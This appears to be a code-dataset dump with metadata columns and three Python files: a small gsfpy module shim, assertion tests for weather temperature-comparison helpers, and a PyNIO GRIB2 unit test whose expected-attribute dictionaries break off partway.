hexsha
string | size
int64 | ext
string | lang
string | max_stars_repo_path
string | max_stars_repo_name
string | max_stars_repo_head_hexsha
string | max_stars_repo_licenses
list | max_stars_count
int64 | max_stars_repo_stars_event_min_datetime
string | max_stars_repo_stars_event_max_datetime
string | max_issues_repo_path
string | max_issues_repo_name
string | max_issues_repo_head_hexsha
string | max_issues_repo_licenses
list | max_issues_count
int64 | max_issues_repo_issues_event_min_datetime
string | max_issues_repo_issues_event_max_datetime
string | max_forks_repo_path
string | max_forks_repo_name
string | max_forks_repo_head_hexsha
string | max_forks_repo_licenses
list | max_forks_count
int64 | max_forks_repo_forks_event_min_datetime
string | max_forks_repo_forks_event_max_datetime
string | content
string | avg_line_length
float64 | max_line_length
int64 | alphanum_fraction
float64 | qsc_code_num_words_quality_signal
int64 | qsc_code_num_chars_quality_signal
float64 | qsc_code_mean_word_length_quality_signal
float64 | qsc_code_frac_words_unique_quality_signal
float64 | qsc_code_frac_chars_top_2grams_quality_signal
float64 | qsc_code_frac_chars_top_3grams_quality_signal
float64 | qsc_code_frac_chars_top_4grams_quality_signal
float64 | qsc_code_frac_chars_dupe_5grams_quality_signal
float64 | qsc_code_frac_chars_dupe_6grams_quality_signal
float64 | qsc_code_frac_chars_dupe_7grams_quality_signal
float64 | qsc_code_frac_chars_dupe_8grams_quality_signal
float64 | qsc_code_frac_chars_dupe_9grams_quality_signal
float64 | qsc_code_frac_chars_dupe_10grams_quality_signal
float64 | qsc_code_frac_chars_replacement_symbols_quality_signal
float64 | qsc_code_frac_chars_digital_quality_signal
float64 | qsc_code_frac_chars_whitespace_quality_signal
float64 | qsc_code_size_file_byte_quality_signal
float64 | qsc_code_num_lines_quality_signal
float64 | qsc_code_num_chars_line_max_quality_signal
float64 | qsc_code_num_chars_line_mean_quality_signal
float64 | qsc_code_frac_chars_alphabet_quality_signal
float64 | qsc_code_frac_chars_comments_quality_signal
float64 | qsc_code_cate_xml_start_quality_signal
float64 | qsc_code_frac_lines_dupe_lines_quality_signal
float64 | qsc_code_cate_autogen_quality_signal
float64 | qsc_code_frac_lines_long_string_quality_signal
float64 | qsc_code_frac_chars_string_length_quality_signal
float64 | qsc_code_frac_chars_long_word_length_quality_signal
float64 | qsc_code_frac_lines_string_concat_quality_signal
float64 | qsc_code_cate_encoded_data_quality_signal
float64 | qsc_code_frac_chars_hex_words_quality_signal
float64 | qsc_code_frac_lines_prompt_comments_quality_signal
float64 | qsc_code_frac_lines_assert_quality_signal
float64 | qsc_codepython_cate_ast_quality_signal
float64 | qsc_codepython_frac_lines_func_ratio_quality_signal
float64 | qsc_codepython_cate_var_zero_quality_signal
bool | qsc_codepython_frac_lines_pass_quality_signal
float64 | qsc_codepython_frac_lines_import_quality_signal
float64 | qsc_codepython_frac_lines_simplefunc_quality_signal
float64 | qsc_codepython_score_lines_no_logic_quality_signal
float64 | qsc_codepython_frac_lines_print_quality_signal
float64 | qsc_code_num_words
int64 | qsc_code_num_chars
int64 | qsc_code_mean_word_length
int64 | qsc_code_frac_words_unique
null | qsc_code_frac_chars_top_2grams
int64 | qsc_code_frac_chars_top_3grams
int64 | qsc_code_frac_chars_top_4grams
int64 | qsc_code_frac_chars_dupe_5grams
int64 | qsc_code_frac_chars_dupe_6grams
int64 | qsc_code_frac_chars_dupe_7grams
int64 | qsc_code_frac_chars_dupe_8grams
int64 | qsc_code_frac_chars_dupe_9grams
int64 | qsc_code_frac_chars_dupe_10grams
int64 | qsc_code_frac_chars_replacement_symbols
int64 | qsc_code_frac_chars_digital
int64 | qsc_code_frac_chars_whitespace
int64 | qsc_code_size_file_byte
int64 | qsc_code_num_lines
int64 | qsc_code_num_chars_line_max
int64 | qsc_code_num_chars_line_mean
int64 | qsc_code_frac_chars_alphabet
int64 | qsc_code_frac_chars_comments
int64 | qsc_code_cate_xml_start
int64 | qsc_code_frac_lines_dupe_lines
int64 | qsc_code_cate_autogen
int64 | qsc_code_frac_lines_long_string
int64 | qsc_code_frac_chars_string_length
int64 | qsc_code_frac_chars_long_word_length
int64 | qsc_code_frac_lines_string_concat
null | qsc_code_cate_encoded_data
int64 | qsc_code_frac_chars_hex_words
int64 | qsc_code_frac_lines_prompt_comments
int64 | qsc_code_frac_lines_assert
int64 | qsc_codepython_cate_ast
int64 | qsc_codepython_frac_lines_func_ratio
int64 | qsc_codepython_cate_var_zero
int64 | qsc_codepython_frac_lines_pass
int64 | qsc_codepython_frac_lines_import
int64 | qsc_codepython_frac_lines_simplefunc
int64 | qsc_codepython_score_lines_no_logic
int64 | qsc_codepython_frac_lines_print
int64 | effective
string | hits
int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
4b6ddbc99f5a85b05aae984abf3efb6b53bb3dd1
| 118
|
py
|
Python
|
gsfpy/gsfComment.py
|
irewolepeter/gsfpy_USM_Implementation
|
c4614ac3f7d833eb86ea38c7708108b130f96612
|
[
"MIT"
] | 7
|
2020-07-01T07:12:19.000Z
|
2022-01-20T20:39:57.000Z
|
gsfpy/gsfComment.py
|
irewolepeter/gsfpy_USM_Implementation
|
c4614ac3f7d833eb86ea38c7708108b130f96612
|
[
"MIT"
] | 36
|
2020-06-23T09:10:15.000Z
|
2022-03-22T10:27:58.000Z
|
gsfpy/gsfComment.py
|
irewolepeter/gsfpy_USM_Implementation
|
c4614ac3f7d833eb86ea38c7708108b130f96612
|
[
"MIT"
] | 2
|
2021-02-07T13:21:52.000Z
|
2021-06-24T19:16:16.000Z
|
from gsfpy import mirror_default_gsf_version_submodule
mirror_default_gsf_version_submodule(globals(), "gsfComment")
| 29.5
| 61
| 0.881356
| 15
| 118
| 6.4
| 0.666667
| 0.270833
| 0.333333
| 0.479167
| 0.666667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.059322
| 118
| 3
| 62
| 39.333333
| 0.864865
| 0
| 0
| 0
| 0
| 0
| 0.084746
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 7
|
299b815a43ebff7d1b70b2bf5c803163226eee25
| 2,990
|
py
|
Python
|
website/weather/utilities/test_email.py
|
T-Santos/django-weather-app
|
79ee6ad67b861aaf27396965a1d45012deadca3b
|
[
"MIT"
] | null | null | null |
website/weather/utilities/test_email.py
|
T-Santos/django-weather-app
|
79ee6ad67b861aaf27396965a1d45012deadca3b
|
[
"MIT"
] | 2
|
2020-02-11T23:23:09.000Z
|
2020-06-05T17:24:59.000Z
|
website/weather/utilities/test_email.py
|
T-Santos/django-weather-app
|
79ee6ad67b861aaf27396965a1d45012deadca3b
|
[
"MIT"
] | null | null | null |
"""
Run tests for logic used to support the sending weather email functionality
$ ./manage.py test weather/utilities/
"""
from weather.utilities.email import is_warmer_than_avg, is_cooler_than_avg
def run_tests():
"""
Run tests to ensure the is warmer, is cooler calculation are correct
"""
# is warmer test
assert is_warmer_than_avg(-10,-10,5)==False,"-10,-10,5"
assert is_warmer_than_avg(-5,-10,5)==True,"-5,-10,5"
assert is_warmer_than_avg(0,-10,5)==True,"0,-10,5"
assert is_warmer_than_avg(5,-10,5)==True,"5,-10,5"
assert is_warmer_than_avg(10,-10,5)==True,"10,-10,5"
assert is_warmer_than_avg(-10,-5,5)==False,"-10,-5,5"
assert is_warmer_than_avg(-5,-5,5)==False,"-5,-5,5"
assert is_warmer_than_avg(0,-5,5)==True,"0,-5,5"
assert is_warmer_than_avg(5,-5,5)==True,"5,-5,5"
assert is_warmer_than_avg(10,-5,5)==True,"10,-5,5"
assert is_warmer_than_avg(-10,0,5)==False,"-10,0,5"
assert is_warmer_than_avg(-5,0,5)==False,"-5,0,5"
assert is_warmer_than_avg(0,0,5)==False,"0,0,5"
assert is_warmer_than_avg(5,0,5)==True,"5,0,5"
assert is_warmer_than_avg(10,0,5)==True,"10,0,5"
assert is_warmer_than_avg(-10,5,5)==False,"-10,5,5"
assert is_warmer_than_avg(-5,5,5)==False,"-5,5,5"
assert is_warmer_than_avg(0,5,5)==False,"0,5,5"
assert is_warmer_than_avg(5,5,5)==False,"5,5,5"
assert is_warmer_than_avg(10,5,5)==True,"10,5,5"
assert is_warmer_than_avg(-10,10,5)==False,"-10,10,5"
assert is_warmer_than_avg(-5,10,5)==False,"-5,10,5"
assert is_warmer_than_avg(0,10,5)==False,"0,10,5"
assert is_warmer_than_avg(5,10,5)==False,"5,10,5"
assert is_warmer_than_avg(10,10,5)==False,"10,10,5"
# is cooler test
assert is_cooler_than_avg(-10,-10,5)==False,"-10,-10,5"
assert is_cooler_than_avg(-5,-10,5)==False,"-5,-10,5"
assert is_cooler_than_avg(0,-10,5)==False,"0,-10,5"
assert is_cooler_than_avg(5,-10,5)==False,"5,-10,5"
assert is_cooler_than_avg(10,-10,5)==False,"10,-10,5"
assert is_cooler_than_avg(-10,-5,5)==True,"-10,-5,5"
assert is_cooler_than_avg(-5,-5,5)==False,"-5,-5,5"
assert is_cooler_than_avg(0,-5,5)==False,"0,-5,5"
assert is_cooler_than_avg(5,-5,5)==False,"5,-5,5"
assert is_cooler_than_avg(10,-5,5)==False,"10,-5,5"
assert is_cooler_than_avg(-10,0,5)==True,"-10,0,5"
assert is_cooler_than_avg(-5,0,5)==True,"-5,0,5"
assert is_cooler_than_avg(0,0,5)==False,"0,0,5"
assert is_cooler_than_avg(5,0,5)==False,"5,0,5"
assert is_cooler_than_avg(10,0,5)==False,"10,0,5"
assert is_cooler_than_avg(-10,5,5)==True,"-10,5,5"
assert is_cooler_than_avg(-5,5,5)==True,"-5,5,5"
assert is_cooler_than_avg(0,5,5)==True,"0,5,5"
assert is_cooler_than_avg(5,5,5)==False,"5,5,5"
assert is_cooler_than_avg(10,5,5)==False,"10,5,5"
assert is_cooler_than_avg(-10,10,5)==True,"-10,10,5"
assert is_cooler_than_avg(-5,10,5)==True,"-5,10,5"
assert is_cooler_than_avg(0,10,5)==True,"0,10,5"
assert is_cooler_than_avg(5,10,5)==True,"5,10,5"
assert is_cooler_than_avg(10,10,5)==False,"10,10,5"
print("Success")
run_tests()
| 39.342105
| 75
| 0.696321
| 655
| 2,990
| 2.937405
| 0.054962
| 0.087318
| 0.224532
| 0.202703
| 0.862786
| 0.862786
| 0.862786
| 0.862786
| 0.856549
| 0.850312
| 0
| 0.138434
| 0.08194
| 2,990
| 76
| 76
| 39.342105
| 0.562477
| 0.071237
| 0
| 0
| 0
| 0
| 0.122101
| 0
| 0
| 0
| 0
| 0
| 0.925926
| 1
| 0.018519
| true
| 0
| 0.018519
| 0
| 0.037037
| 0.018519
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 10
|
29cd811e253fba9ad19c6dca11f35e8047c336e8
| 31,068
|
py
|
Python
|
test/test_grib2.py
|
briandobbins/pynio
|
1dd5fc0fc133f2b8d329ae68929bd3c6c1c5fa7c
|
[
"Apache-2.0"
] | null | null | null |
test/test_grib2.py
|
briandobbins/pynio
|
1dd5fc0fc133f2b8d329ae68929bd3c6c1c5fa7c
|
[
"Apache-2.0"
] | null | null | null |
test/test_grib2.py
|
briandobbins/pynio
|
1dd5fc0fc133f2b8d329ae68929bd3c6c1c5fa7c
|
[
"Apache-2.0"
] | null | null | null |
import Nio
import numpy as np
import numpy.testing as nt
import os
import unittest as ut
file_to_test = '../ncarg/data/grib2/wafsgfs_L_t06z_intdsk60.grib2'
class Test(ut.TestCase):
def setUp(self):
self.f = Nio.open_file(os.path.realpath(os.path.join(os.path.dirname(__file__), file_to_test)))
def test_grib2_variables(self):
nt.assert_equal(set(self.f.variables.keys()), set(file_variables))
def test_grib2_attributes(self):
nt.assert_equal(self.f.attributes, file_attributes)
def test_grib2_dimensions(self):
nt.assert_equal(self.f.dimensions, file_dimensions)
def test_grib2_var_shapes(self):
for var in self.f.variables.keys():
v = self.f.variables[var]
nt.assert_equal(v.shape, var_shapes[var])
def test_grib2_var_attributes(self):
for var in self.f.variables.keys():
v = self.f.variables[var]
nt.assert_equal(v.attributes, var_attributes[var])
def test_grib2_var_dimensions(self):
for var in self.f.variables.keys():
v = self.f.variables[var]
nt.assert_equal(v.dimensions, var_dimensions[var])
def test_grib2_var_coordinates(self):
for var in self.f.variables.keys():
v = self.f.variables[var]
nt.assert_equal(get_coord_dims(v), var_coordinates[var])
def test_grib2_var_values(self):
for var in var_values.keys():
v = self.f.variables[var]
val = v.get_value()
nt.assert_almost_equal((val.min(), val.max(), val.mean(), np.ma.count_masked(val)), var_values[var])
file_attributes = {}
file_dimensions = {'lat_0': 73, 'lon_0': 73, 'lv_ISBL0': 12, 'lv_ISBL1': 11, 'lv_ISBL2': 10}
file_variables = ['TMP_P0_L6_GLL0', 'TMP_P0_L7_GLL0', 'TMP_P0_L100_GLL0', 'TMP_P0_L103_GLL0', 'TMP_P0_2L108_GLL0', 'RH_P0_L100_GLL0', 'RH_P0_L103_GLL0', 'RH_P0_2L108_GLL0', 'UGRD_P0_L6_GLL0', 'UGRD_P0_L7_GLL0', 'UGRD_P0_L100_GLL0', 'UGRD_P0_L103_GLL0', 'UGRD_P0_2L108_GLL0', 'VGRD_P0_L6_GLL0', 'VGRD_P0_L7_GLL0', 'VGRD_P0_L100_GLL0', 'VGRD_P0_L103_GLL0', 'VGRD_P0_2L108_GLL0', 'VVEL_P0_L100_GLL0', 'ABSV_P0_L100_GLL0', 'PRES_P0_L1_GLL0', 'PRES_P0_L6_GLL0', 'PRES_P0_L7_GLL0', 'PRMSL_P0_L101_GLL0', 'HGT_P0_L6_GLL0', 'HGT_P0_L7_GLL0', 'HGT_P0_L100_GLL0', 'APCP_P8_L1_GLL0_acc6h', 'ACPCP_P8_L1_GLL0_acc6h', 'lv_ISBL2', 'lv_ISBL1', 'lv_ISBL0', 'lat_0', 'lon_0']
var_attributes = {'TMP_P0_L6_GLL0': {'center': 'US National Weather Service - NCEP (WMC)', 'production_status': 'Operational products', 'long_name': 'Temperature', 'units': 'K', '_FillValue': np.array([1.e+20], dtype=np.float32), 'grid_type': 'Latitude/longitude (quasi-regular grid expanded by cubic interpolation)', 'parameter_discipline_and_category': 'Meteorological products, Temperature', 'parameter_template_discipline_category_number': np.array([0, 0, 0, 0], dtype=np.int32), 'level_type': 'Maximum wind level', 'level': np.array([0.], dtype=np.float32), 'forecast_time': np.array([60], dtype=np.int32), 'forecast_time_units': 'hours', 'initial_time': '01/10/2007 (06:00)'},
'TMP_P0_L7_GLL0': {'center': 'US National Weather Service - NCEP (WMC)', 'production_status': 'Operational products', 'long_name': 'Temperature', 'units': 'K', '_FillValue': np.array([1.e+20], dtype=np.float32), 'grid_type': 'Latitude/longitude (quasi-regular grid expanded by cubic interpolation)', 'parameter_discipline_and_category': 'Meteorological products, Temperature', 'parameter_template_discipline_category_number': np.array([0, 0, 0, 0], dtype=np.int32), 'level_type': 'Tropopause', 'level': np.array([0.], dtype=np.float32), 'forecast_time': np.array([60], dtype=np.int32), 'forecast_time_units': 'hours', 'initial_time': '01/10/2007 (06:00)'},
'TMP_P0_L100_GLL0': {'center': 'US National Weather Service - NCEP (WMC)', 'production_status': 'Operational products', 'long_name': 'Temperature', 'units': 'K', '_FillValue': np.array([1.e+20], dtype=np.float32), 'grid_type': 'Latitude/longitude (quasi-regular grid expanded by cubic interpolation)', 'parameter_discipline_and_category': 'Meteorological products, Temperature', 'parameter_template_discipline_category_number': np.array([0, 0, 0, 0], dtype=np.int32), 'level_type': 'Isobaric surface (Pa)', 'forecast_time': np.array([60], dtype=np.int32), 'forecast_time_units': 'hours', 'initial_time': '01/10/2007 (06:00)'},
'TMP_P0_L103_GLL0': {'center': 'US National Weather Service - NCEP (WMC)', 'production_status': 'Operational products', 'long_name': 'Temperature', 'units': 'K', '_FillValue': np.array([1.e+20], dtype=np.float32), 'grid_type': 'Latitude/longitude (quasi-regular grid expanded by cubic interpolation)', 'parameter_discipline_and_category': 'Meteorological products, Temperature', 'parameter_template_discipline_category_number': np.array([0, 0, 0, 0], dtype=np.int32), 'level_type': 'Specified height level above ground (m)', 'level': np.array([2.], dtype=np.float32), 'forecast_time': np.array([60], dtype=np.int32), 'forecast_time_units': 'hours', 'initial_time': '01/10/2007 (06:00)'},
'TMP_P0_2L108_GLL0': {'center': 'US National Weather Service - NCEP (WMC)', 'production_status': 'Operational products', 'long_name': 'Temperature', 'units': 'K', '_FillValue': np.array([1.e+20], dtype=np.float32), 'grid_type': 'Latitude/longitude (quasi-regular grid expanded by cubic interpolation)', 'parameter_discipline_and_category': 'Meteorological products, Temperature', 'parameter_template_discipline_category_number': np.array([0, 0, 0, 0], dtype=np.int32), 'level_type': 'Level at specified pressure difference from ground to level (Pa)', 'level': np.array([3000., 0.], dtype=np.float32), 'forecast_time': np.array([60], dtype=np.int32), 'forecast_time_units': 'hours', 'initial_time': '01/10/2007 (06:00)'},
'RH_P0_L100_GLL0': {'center': 'US National Weather Service - NCEP (WMC)', 'production_status': 'Operational products', 'long_name': 'Relative humidity', 'units': '%', '_FillValue': np.array([1.e+20], dtype=np.float32), 'grid_type': 'Latitude/longitude (quasi-regular grid expanded by cubic interpolation)', 'parameter_discipline_and_category': 'Meteorological products, Moisture', 'parameter_template_discipline_category_number': np.array([0, 0, 1, 1], dtype=np.int32), 'level_type': 'Isobaric surface (Pa)', 'forecast_time': np.array([60], dtype=np.int32), 'forecast_time_units': 'hours', 'initial_time': '01/10/2007 (06:00)'},
'RH_P0_L103_GLL0': {'center': 'US National Weather Service - NCEP (WMC)', 'production_status': 'Operational products', 'long_name': 'Relative humidity', 'units': '%', '_FillValue': np.array([1.e+20], dtype=np.float32), 'grid_type': 'Latitude/longitude (quasi-regular grid expanded by cubic interpolation)', 'parameter_discipline_and_category': 'Meteorological products, Moisture', 'parameter_template_discipline_category_number': np.array([0, 0, 1, 1], dtype=np.int32), 'level_type': 'Specified height level above ground (m)', 'level': np.array([2.], dtype=np.float32), 'forecast_time': np.array([60], dtype=np.int32), 'forecast_time_units': 'hours', 'initial_time': '01/10/2007 (06:00)'},
'RH_P0_2L108_GLL0': {'center': 'US National Weather Service - NCEP (WMC)', 'production_status': 'Operational products', 'long_name': 'Relative humidity', 'units': '%', '_FillValue': np.array([1.e+20], dtype=np.float32), 'grid_type': 'Latitude/longitude (quasi-regular grid expanded by cubic interpolation)', 'parameter_discipline_and_category': 'Meteorological products, Moisture', 'parameter_template_discipline_category_number': np.array([0, 0, 1, 1], dtype=np.int32), 'level_type': 'Level at specified pressure difference from ground to level (Pa)', 'level': np.array([3000., 0.], dtype=np.float32), 'forecast_time': np.array([60], dtype=np.int32), 'forecast_time_units': 'hours', 'initial_time': '01/10/2007 (06:00)'},
'UGRD_P0_L6_GLL0': {'center': 'US National Weather Service - NCEP (WMC)', 'production_status': 'Operational products', 'long_name': 'U-component of wind', 'units': 'm s-1', '_FillValue': np.array([1.e+20], dtype=np.float32), 'grid_type': 'Latitude/longitude (quasi-regular grid expanded by cubic interpolation)', 'parameter_discipline_and_category': 'Meteorological products, Momentum', 'parameter_template_discipline_category_number': np.array([0, 0, 2, 2], dtype=np.int32), 'level_type': 'Maximum wind level', 'level': np.array([0.], dtype=np.float32), 'forecast_time': np.array([60], dtype=np.int32), 'forecast_time_units': 'hours', 'initial_time': '01/10/2007 (06:00)'},
'UGRD_P0_L7_GLL0': {'center': 'US National Weather Service - NCEP (WMC)', 'production_status': 'Operational products', 'long_name': 'U-component of wind', 'units': 'm s-1', '_FillValue': np.array([1.e+20], dtype=np.float32), 'grid_type': 'Latitude/longitude (quasi-regular grid expanded by cubic interpolation)', 'parameter_discipline_and_category': 'Meteorological products, Momentum', 'parameter_template_discipline_category_number': np.array([0, 0, 2, 2], dtype=np.int32), 'level_type': 'Tropopause', 'level': np.array([0.], dtype=np.float32), 'forecast_time': np.array([60], dtype=np.int32), 'forecast_time_units': 'hours', 'initial_time': '01/10/2007 (06:00)'},
'UGRD_P0_L100_GLL0': {'center': 'US National Weather Service - NCEP (WMC)', 'production_status': 'Operational products', 'long_name': 'U-component of wind', 'units': 'm s-1', '_FillValue': np.array([1.e+20], dtype=np.float32), 'grid_type': 'Latitude/longitude (quasi-regular grid expanded by cubic interpolation)', 'parameter_discipline_and_category': 'Meteorological products, Momentum', 'parameter_template_discipline_category_number': np.array([0, 0, 2, 2], dtype=np.int32), 'level_type': 'Isobaric surface (Pa)', 'forecast_time': np.array([60], dtype=np.int32), 'forecast_time_units': 'hours', 'initial_time': '01/10/2007 (06:00)'},
'UGRD_P0_L103_GLL0': {'center': 'US National Weather Service - NCEP (WMC)', 'production_status': 'Operational products', 'long_name': 'U-component of wind', 'units': 'm s-1', '_FillValue': np.array([1.e+20], dtype=np.float32), 'grid_type': 'Latitude/longitude (quasi-regular grid expanded by cubic interpolation)', 'parameter_discipline_and_category': 'Meteorological products, Momentum', 'parameter_template_discipline_category_number': np.array([0, 0, 2, 2], dtype=np.int32), 'level_type': 'Specified height level above ground (m)', 'level': np.array([10.], dtype=np.float32), 'forecast_time': np.array([60], dtype=np.int32), 'forecast_time_units': 'hours', 'initial_time': '01/10/2007 (06:00)'},
'UGRD_P0_2L108_GLL0': {'center': 'US National Weather Service - NCEP (WMC)', 'production_status': 'Operational products', 'long_name': 'U-component of wind', 'units': 'm s-1', '_FillValue': np.array([1.e+20], dtype=np.float32), 'grid_type': 'Latitude/longitude (quasi-regular grid expanded by cubic interpolation)', 'parameter_discipline_and_category': 'Meteorological products, Momentum', 'parameter_template_discipline_category_number': np.array([0, 0, 2, 2], dtype=np.int32), 'level_type': 'Level at specified pressure difference from ground to level (Pa)', 'level': np.array([3000., 0.], dtype=np.float32), 'forecast_time': np.array([60], dtype=np.int32), 'forecast_time_units': 'hours', 'initial_time': '01/10/2007 (06:00)'},
'VGRD_P0_L6_GLL0': {'center': 'US National Weather Service - NCEP (WMC)', 'production_status': 'Operational products', 'long_name': 'V-component of wind', 'units': 'm s-1', '_FillValue': np.array([1.e+20], dtype=np.float32), 'grid_type': 'Latitude/longitude (quasi-regular grid expanded by cubic interpolation)', 'parameter_discipline_and_category': 'Meteorological products, Momentum', 'parameter_template_discipline_category_number': np.array([0, 0, 2, 3], dtype=np.int32), 'level_type': 'Maximum wind level', 'level': np.array([0.], dtype=np.float32), 'forecast_time': np.array([60], dtype=np.int32), 'forecast_time_units': 'hours', 'initial_time': '01/10/2007 (06:00)'},
'VGRD_P0_L7_GLL0': {'center': 'US National Weather Service - NCEP (WMC)', 'production_status': 'Operational products', 'long_name': 'V-component of wind', 'units': 'm s-1', '_FillValue': np.array([1.e+20], dtype=np.float32), 'grid_type': 'Latitude/longitude (quasi-regular grid expanded by cubic interpolation)', 'parameter_discipline_and_category': 'Meteorological products, Momentum', 'parameter_template_discipline_category_number': np.array([0, 0, 2, 3], dtype=np.int32), 'level_type': 'Tropopause', 'level': np.array([0.], dtype=np.float32), 'forecast_time': np.array([60], dtype=np.int32), 'forecast_time_units': 'hours', 'initial_time': '01/10/2007 (06:00)'},
'VGRD_P0_L100_GLL0': {'center': 'US National Weather Service - NCEP (WMC)', 'production_status': 'Operational products', 'long_name': 'V-component of wind', 'units': 'm s-1', '_FillValue': np.array([1.e+20], dtype=np.float32), 'grid_type': 'Latitude/longitude (quasi-regular grid expanded by cubic interpolation)', 'parameter_discipline_and_category': 'Meteorological products, Momentum', 'parameter_template_discipline_category_number': np.array([0, 0, 2, 3], dtype=np.int32), 'level_type': 'Isobaric surface (Pa)', 'forecast_time': np.array([60], dtype=np.int32), 'forecast_time_units': 'hours', 'initial_time': '01/10/2007 (06:00)'},
'VGRD_P0_L103_GLL0': {'center': 'US National Weather Service - NCEP (WMC)', 'production_status': 'Operational products', 'long_name': 'V-component of wind', 'units': 'm s-1', '_FillValue': np.array([1.e+20], dtype=np.float32), 'grid_type': 'Latitude/longitude (quasi-regular grid expanded by cubic interpolation)', 'parameter_discipline_and_category': 'Meteorological products, Momentum', 'parameter_template_discipline_category_number': np.array([0, 0, 2, 3], dtype=np.int32), 'level_type': 'Specified height level above ground (m)', 'level': np.array([10.], dtype=np.float32), 'forecast_time': np.array([60], dtype=np.int32), 'forecast_time_units': 'hours', 'initial_time': '01/10/2007 (06:00)'},
'VGRD_P0_2L108_GLL0': {'center': 'US National Weather Service - NCEP (WMC)', 'production_status': 'Operational products', 'long_name': 'V-component of wind', 'units': 'm s-1', '_FillValue': np.array([1.e+20], dtype=np.float32), 'grid_type': 'Latitude/longitude (quasi-regular grid expanded by cubic interpolation)', 'parameter_discipline_and_category': 'Meteorological products, Momentum', 'parameter_template_discipline_category_number': np.array([0, 0, 2, 3], dtype=np.int32), 'level_type': 'Level at specified pressure difference from ground to level (Pa)', 'level': np.array([3000., 0.], dtype=np.float32), 'forecast_time': np.array([60], dtype=np.int32), 'forecast_time_units': 'hours', 'initial_time': '01/10/2007 (06:00)'},
'VVEL_P0_L100_GLL0': {'center': 'US National Weather Service - NCEP (WMC)', 'production_status': 'Operational products', 'long_name': 'Vertical velocity (pressure)', 'units': 'Pa s-1', '_FillValue': np.array([1.e+20], dtype=np.float32), 'grid_type': 'Latitude/longitude (quasi-regular grid expanded by cubic interpolation)', 'parameter_discipline_and_category': 'Meteorological products, Momentum', 'parameter_template_discipline_category_number': np.array([0, 0, 2, 8], dtype=np.int32), 'level_type': 'Isobaric surface (Pa)', 'forecast_time': np.array([60], dtype=np.int32), 'forecast_time_units': 'hours', 'initial_time': '01/10/2007 (06:00)'},
'ABSV_P0_L100_GLL0': {'center': 'US National Weather Service - NCEP (WMC)', 'production_status': 'Operational products', 'long_name': 'Absolute vorticity', 'units': 's-1', '_FillValue': np.array([1.e+20], dtype=np.float32), 'grid_type': 'Latitude/longitude (quasi-regular grid expanded by cubic interpolation)', 'parameter_discipline_and_category': 'Meteorological products, Momentum', 'parameter_template_discipline_category_number': np.array([ 0, 0, 2, 10], dtype=np.int32), 'level_type': 'Isobaric surface (Pa)', 'level': np.array([50000.], dtype=np.float32), 'forecast_time': np.array([60], dtype=np.int32), 'forecast_time_units': 'hours', 'initial_time': '01/10/2007 (06:00)'},
'PRES_P0_L1_GLL0': {'center': 'US National Weather Service - NCEP (WMC)', 'production_status': 'Operational products', 'long_name': 'Pressure', 'units': 'Pa', '_FillValue': np.array([1.e+20], dtype=np.float32), 'grid_type': 'Latitude/longitude (quasi-regular grid expanded by cubic interpolation)', 'parameter_discipline_and_category': 'Meteorological products, Mass', 'parameter_template_discipline_category_number': np.array([0, 0, 3, 0], dtype=np.int32), 'level_type': 'Ground or water surface', 'level': np.array([0.], dtype=np.float32), 'forecast_time': np.array([60], dtype=np.int32), 'forecast_time_units': 'hours', 'initial_time': '01/10/2007 (06:00)'},
'PRES_P0_L6_GLL0': {'center': 'US National Weather Service - NCEP (WMC)', 'production_status': 'Operational products', 'long_name': 'Pressure', 'units': 'Pa', '_FillValue': np.array([1.e+20], dtype=np.float32), 'grid_type': 'Latitude/longitude (quasi-regular grid expanded by cubic interpolation)', 'parameter_discipline_and_category': 'Meteorological products, Mass', 'parameter_template_discipline_category_number': np.array([0, 0, 3, 0], dtype=np.int32), 'level_type': 'Maximum wind level', 'level': np.array([0.], dtype=np.float32), 'forecast_time': np.array([60], dtype=np.int32), 'forecast_time_units': 'hours', 'initial_time': '01/10/2007 (06:00)'},
'PRES_P0_L7_GLL0': {'center': 'US National Weather Service - NCEP (WMC)', 'production_status': 'Operational products', 'long_name': 'Pressure', 'units': 'Pa', '_FillValue': np.array([1.e+20], dtype=np.float32), 'grid_type': 'Latitude/longitude (quasi-regular grid expanded by cubic interpolation)', 'parameter_discipline_and_category': 'Meteorological products, Mass', 'parameter_template_discipline_category_number': np.array([0, 0, 3, 0], dtype=np.int32), 'level_type': 'Tropopause', 'level': np.array([0.], dtype=np.float32), 'forecast_time': np.array([60], dtype=np.int32), 'forecast_time_units': 'hours', 'initial_time': '01/10/2007 (06:00)'},
'PRMSL_P0_L101_GLL0': {'center': 'US National Weather Service - NCEP (WMC)', 'production_status': 'Operational products', 'long_name': 'Pressure reduced to MSL', 'units': 'Pa', '_FillValue': np.array([1.e+20], dtype=np.float32), 'grid_type': 'Latitude/longitude (quasi-regular grid expanded by cubic interpolation)', 'parameter_discipline_and_category': 'Meteorological products, Mass', 'parameter_template_discipline_category_number': np.array([0, 0, 3, 1], dtype=np.int32), 'level_type': 'Mean sea level (Pa)', 'level': np.array([0.], dtype=np.float32), 'forecast_time': np.array([60], dtype=np.int32), 'forecast_time_units': 'hours', 'initial_time': '01/10/2007 (06:00)'},
